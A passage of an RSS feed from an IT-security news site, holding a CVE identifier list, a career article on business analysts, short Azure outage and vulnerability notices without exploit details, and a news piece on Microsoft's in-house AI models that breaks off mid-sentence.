CVE-2026-53174, CVE-2026-53277, CVE-2026-53278, CVE-2026-53279,
CVE-2026-53280, CVE-2026-53281, CVE-2026-53282, CVE-2026-53283,
CVE-2026-53284, CVE-2026-53285, CVE-2026-53286, CVE-2026-53287,
CVE-2026-53288, CVE-2026-53289, CVE-2026-53290, CVE-2026-53291,
CVE-2026-53292, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53297, CVE-2026-53298, CVE-2026-53299,
CVE-2026-53300, CVE-2026-53301, CVE-2026-53302, CVE-2026-53303,
CVE-2026-53304, CVE-2026-53305, CVE-2026-53306, CVE-2026-53307,
CVE-2026-53308, CVE-2026-53309, CVE-2026-53310, CVE-2026-53311,
CVE-2026-53312, CVE-2026-53313, CVE-2026-53314, CVE-2026-53315,
CVE-2026-53316, CVE-2026-53317, CVE-2026-53318, CVE-2026-53319,
CVE-2026-53320, CVE-2026-53321, CVE-2026-53322, CVE-2026-53323,
CVE-2026-53324, CVE-2026-53357, CVE-2026-53358, CVE-2026-53360,
CVE-2026-53364, CVE-2026-53365, CVE-2026-53367, CVE-2026-53368,
CVE-2026-53369, CVE-2026-53370, CVE-2026-53371, CVE-2026-53372,
CVE-2026-53373, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53377, CVE-2026-53378, CVE-2026-53379, CVE-2026-53380,
CVE-2026-63837, CVE-2026-63838, CVE-2026-63839, CVE-2026-63840,
CVE-2026-63841, CVE-2026-63842, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63849, CVE-2026-63850, CVE-2026-63851, CVE-2026-63852,
CVE-2026-63853, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63857, CVE-2026-63858, CVE-2026-63859, CVE-2026-63860,
CVE-2026-63861, CVE-2026-63862, CVE-2026-63863, CVE-2026-63864,
CVE-2026-63865, CVE-2026-63866, CVE-2026-63875, CVE-2026-63876,
CVE-2026-63877, CVE-2026-63878, CVE-2026-63879, CVE-2026-63880,
CVE-2026-63881, CVE-2026-63882, CVE-2026-63883, CVE-2026-63884,
CVE-2026-63886, CVE-2026-63887, CVE-2026-63888, CVE-2026-63889,
CVE-2026-63890, CVE-2026-63891, CVE-2026-63892, CVE-2026-63893,
CVE-2026-63894, CVE-2026-63895, CVE-2026-63896, CVE-2026-63897,
CVE-2026-63898, CVE-2026-63899, CVE-2026-63900, CVE-2026-63901,
CVE-2026-63902, CVE-2026-63903, CVE-2026-63904, CVE-2026-63905,
CVE-2026-63906, CVE-2026-63907, CVE-2026-63908, CVE-2026-63910,
CVE-2026-63911, CVE-2026-63912, CVE-2026-63913, CVE-2026-63914,
CVE-2026-63915, CVE-2026-63916, CVE-2026-63917, CVE-2026-63918,
CVE-2026-63919, CVE-2026-63920, CVE-2026-63921, CVE-2026-63922,
CVE-2026-63923, CVE-2026-63924, CVE-2026-63925, CVE-2026-63926,
CVE-2026-63927, CVE-2026-63928, CVE-2026-63929, CVE-2026-63930,
CVE-2026-63931, CVE-2026-63932, CVE-2026-63933, CVE-2026-63934,
CVE-2026-63935, CVE-2026-63936, CVE-2026-63937, CVE-2026-63938,
CVE-2026-63939, CVE-2026-63940, CVE-2026-63941, CVE-2026-63942,
CVE-2026-63943, CVE-2026-63944, CVE-2026-63945, CVE-2026-63946,
CVE-2026-63947, CVE-2026-63948, CVE-2026-63949, CVE-2026-63950,
CVE-2026-63951, CVE-2026-63952, CVE-2026-63953, CVE-2026-63954,
CVE-2026-63955, CVE-2026-63956, CVE-2026-63957, CVE-2026-63958,
CVE-2026-63959, CVE-2026-63960, CVE-2026-63961, CVE-2026-63962,
CVE-2026-63963, CVE-2026-63964, CVE-2026-63965, CVE-2026-63966,
CVE-2026-63967, CVE-2026-63968, CVE-2026-63969, CVE-2026-63970,
CVE-2026-63971, CVE-2026-63972, CVE-2026-63973, CVE-2026-63974,
CVE-2026-63975, CVE-2026-63976, CVE-2026-63977, CVE-2026-63978,
CVE-2026-63979, CVE-2026-63980, CVE-2026-63981, CVE-2026-63982,
CVE-2026-63983, CVE-2026-63984, CVE-2026-63985, CVE-2026-63986,
CVE-2026-63987, CVE-2026-63988, CVE-2026-63989, CVE-2026-63990,
CVE-2026-63991, CVE-2026-63992, CVE-2026-63993, CVE-2026-63994,
CVE-2026-63995, CVE-2026-63996, CVE-2026-63997, CVE-2026-63998,
CVE-2026-63999, CVE-2026-64000, CVE-2026-64001, CVE-2026-64002,
CVE-2026-64003, CVE-2026-64004, CVE-2026-64005, CVE-2026-64006,
CVE-2026-64007, CVE-2026-64008, CVE-2026-64009, CVE-2026-64010,
CVE-2026-64011, CVE-2026-64012, CVE-2026-64013, CVE-2026-64014,
CVE-2026-64015, CVE-2026-64017, CVE-2026-64018, CVE-2026-64019,
CVE-2026-64020, CVE-2026-64021, CVE-2026-64022, CVE-2026-64023,
CVE-2026-64024, CVE-2026-64025, CVE-2026-64026, CVE-2026-64027,
CVE-2026-64029, CVE-2026-64030, CVE-2026-64031, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64035, CVE-2026-64036,
CVE-2026-64037, CVE-2026-64038, CVE-2026-64039, CVE-2026-64040,
CVE-2026-64041, CVE-2026-64042, CVE-2026-64043, CVE-2026-64044,
CVE-2026-64045, CVE-2026-64046, CVE-2026-64047, CVE-2026-64048,
CVE-2026-64049, CVE-2026-64050, CVE-2026-64051, CVE-2026-64052,
CVE-2026-64053, CVE-2026-64054, CVE-2026-64055, CVE-2026-64056,
CVE-2026-64057, CVE-2026-64058, CVE-2026-64059, CVE-2026-64060,
CVE-2026-64061, CVE-2026-64062, CVE-2026-64063, CVE-2026-64064,
CVE-2026-64065, CVE-2026-64066, CVE-2026-64067, CVE-2026-64068,
CVE-2026-64069, CVE-2026-64070, CVE-2026-64071, CVE-2026-64072,
CVE-2026-64073, CVE-2026-64074, CVE-2026-64075, CVE-2026-64076,
CVE-2026-64077, CVE-2026-64078, CVE-2026-64079, CVE-2026-64080,
CVE-2026-64081, CVE-2026-64082, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64090, CVE-2026-64091, CVE-2026-64093,
CVE-2026-64094, CVE-2026-64095, CVE-2026-64096, CVE-2026-64097,
CVE-2026-64098, CVE-2026-64099, CVE-2026-64100, CVE-2026-64101,
CVE-2026-64102, CVE-2026-64103, CVE-2026-64104, CVE-2026-64105,
CVE-2026-64106, CVE-2026-64107, CVE-2026-64108, CVE-2026-64109,
CVE-2026-64110, CVE-2026-64111, CVE-2026-64112, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64116, CVE-2026-64117,
CVE-2026-64118, CVE-2026-64119, CVE-2026-64120, CVE-2026-64121,
CVE-2026-64122, CVE-2026-64123, CVE-2026-64124, CVE-2026-64125,
CVE-2026-64126, CVE-2026-64127, CVE-2026-64128, CVE-2026-64129,
CVE-2026-64130, CVE-2026-64131, CVE-2026-64132, CVE-2026-64133,
CVE-2026-64134, CVE-2026-64135, CVE-2026-64136, CVE-2026-64137,
CVE-2026-64138, CVE-2026-64140, CVE-2026-64141, CVE-2026-64142,
CVE-2026-64143, CVE-2026-64144, CVE-2026-64145, CVE-2026-64146,
CVE-2026-64147, CVE-2026-64148, CVE-2026-64149, CVE-2026-64150,
CVE-2026-64151, CVE-2026-64152, CVE-2026-64153, CVE-2026-64154,
CVE-2026-64155, CVE-2026-64156, CVE-2026-64157, CVE-2026-64158,
CVE-2026-64159, CVE-2026-64160, CVE-2026-64161, CVE-2026-64162,
CVE-2026-64163, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64167, CVE-2026-64168, CVE-2026-64169, CVE-2026-64170,
CVE-2026-64171, CVE-2026-64172, CVE-2026-64173, CVE-2026-64174,
CVE-2026-64175, CVE-2026-64176, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64180, CVE-2026-64181, CVE-2026-64182,
CVE-2026-64183, CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)]]></content:encoded>
</item>
<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bad Brains: Azure Five Hour Outage Was Microsoft AI Demonstration]]></title>
<description><![CDATA[Microsoft spent early July marketing AI as the thing that keeps Azure running. That’s right, get ready to blame AI when Azure goes down. CTO Mark Russinovich introduced the awkwardly named Brain, an AIOps system described as a “digital twin” of Azure’s own health, credited with powering deploymen...]]></description>
<link>https://tsecurity.de/de/3691205/it-security-nachrichten/bad-brains-azure-five-hour-outage-was-microsoft-ai-demonstration/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691205/it-security-nachrichten/bad-brains-azure-five-hour-outage-was-microsoft-ai-demonstration/</guid>
<pubDate>Fri, 24 Jul 2026 11:58:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft spent early July marketing AI as the thing that keeps Azure running. That’s right, get ready to blame AI when Azure goes down. CTO Mark Russinovich introduced the awkwardly named Brain, an AIOps system described as a “digital twin” of Azure’s own health, credited with powering deployment safeguards and outage declaration, and billed as … <a href="https://www.flyingpenguin.com/bad-brains-azure-five-hour-outage-was-microsoft-ai-demonstration/" class="more-link">Continue reading <span class="screen-reader-text">Bad Brains: Azure Five Hour Outage Was Microsoft AI Demonstration</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft and Databricks target AI business context gains in partnership expansion]]></title>
<description><![CDATA[Deeper integration of Databricks Genie within Azure aims to build more context-aware AI]]></description>
<link>https://tsecurity.de/de/3691156/it-security-nachrichten/microsoft-and-databricks-target-ai-business-context-gains-in-partnership-expansion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691156/it-security-nachrichten/microsoft-and-databricks-target-ai-business-context-gains-in-partnership-expansion/</guid>
<pubDate>Fri, 24 Jul 2026 11:41:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Deeper integration of Databricks Genie within Azure aims to build more context-aware AI]]></content:encoded>
</item>
<item>
<title><![CDATA[[NEU] [hoch] Microsoft Azure, Copilot, Exchange, Surface: Mehrere Schwachstellen]]></title>
<description><![CDATA[Ein Angreifer kann mehrere Schwachstellen in Microsoft Azure, Microsoft 365 Copilot, Microsoft Exchange und Microsoft Apps Surface ausnutzen, um seine Privilegien zu erhöhen, beliebigen Code auszuführen, Daten zu manipulieren oder vertrauliche Informationen offenzulegen.]]></description>
<link>https://tsecurity.de/de/3691152/it-security-nachrichten/neu-hoch-microsoft-azure-copilot-exchange-surface-mehrere-schwachstellen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691152/it-security-nachrichten/neu-hoch-microsoft-azure-copilot-exchange-surface-mehrere-schwachstellen/</guid>
<pubDate>Fri, 24 Jul 2026 11:41:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein Angreifer kann mehrere Schwachstellen in Microsoft Azure, Microsoft 365 Copilot, Microsoft Exchange und Microsoft Apps Surface ausnutzen, um seine Privilegien zu erhöhen, beliebigen Code auszuführen, Daten zu manipulieren oder vertrauliche Informationen offenzulegen.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-58275 | Microsoft Azure DNS improper authorization (EUVD-2026-48460)]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in Microsoft Azure DNS. This impacts an unknown function. The manipulation results in improper authorization.

This vulnerability is reported as CVE-2026-58275. The attack can be launched remotely. No exploit exists.

This product is a man...]]></description>
<link>https://tsecurity.de/de/3690652/sicherheitsluecken/cve-2026-58275-microsoft-azure-dns-improper-authorization-euvd-2026-48460/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690652/sicherheitsluecken/cve-2026-58275-microsoft-azure-dns-improper-authorization-euvd-2026-48460/</guid>
<pubDate>Fri, 24 Jul 2026 06:05:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/microsoft:azure_dns">Microsoft Azure DNS</a>. This impacts an unknown function. The manipulation results in improper authorization.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-58275">CVE-2026-58275</a>. The attack can be launched remotely. No exploit exists.

This product is a managed service. It is not possible for users to maintain vulnerability countermeasures themselves.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-62825 | Microsoft Azure Key Vault improper authentication (EUVD-2026-48459)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in Microsoft Azure Key Vault. Affected is an unknown function. This manipulation causes improper authentication.

This vulnerability appears as CVE-2026-62825. The attack may be initiated remotely. There is no available exploit.

This product ...]]></description>
<link>https://tsecurity.de/de/3690650/sicherheitsluecken/cve-2026-62825-microsoft-azure-key-vault-improper-authentication-euvd-2026-48459/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690650/sicherheitsluecken/cve-2026-62825-microsoft-azure-key-vault-improper-authentication-euvd-2026-48459/</guid>
<pubDate>Fri, 24 Jul 2026 06:05:31 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/microsoft:azure_key_vault">Microsoft Azure Key Vault</a>. Affected is an unknown function. This manipulation causes improper authentication.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-62825">CVE-2026-62825</a>. The attack may be initiated remotely. There is no available exploit.

This product is a managed service. This means that users cannot maintain vulnerability countermeasures themselves.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-35425 | Microsoft Azure API Management access control (EUVD-2026-48455)]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in Microsoft Azure API Management. The impacted element is an unknown function. Executing a manipulation can lead to improper access controls.

This vulnerability is registered as CVE-2026-35425. It is possible to launch the attack remotely. No e...]]></description>
<link>https://tsecurity.de/de/3690647/sicherheitsluecken/cve-2026-35425-microsoft-azure-api-management-access-control-euvd-2026-48455/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690647/sicherheitsluecken/cve-2026-35425-microsoft-azure-api-management-access-control-euvd-2026-48455/</guid>
<pubDate>Fri, 24 Jul 2026 06:05:27 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/microsoft:azure_api_management">Microsoft Azure API Management</a>. The impacted element is an unknown function. Executing a manipulation can lead to improper access controls.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-35425">CVE-2026-35425</a>. It is possible to launch the attack remotely. No exploit is available.

This product is a managed service. This means that users are not able to maintain vulnerability countermeasures themselves.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft fiber foul-up cut off Azure California for almost five hours]]></title>
<description><![CDATA[Maintenance mistake caused immediate issues and took out 27 services and]]></description>
<link>https://tsecurity.de/de/3690549/it-nachrichten/microsoft-fiber-foul-up-cut-off-azure-california-for-almost-five-hours/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690549/it-nachrichten/microsoft-fiber-foul-up-cut-off-azure-california-for-almost-five-hours/</guid>
<pubDate>Fri, 24 Jul 2026 03:51:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maintenance mistake caused immediate issues and took out 27 services and]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median 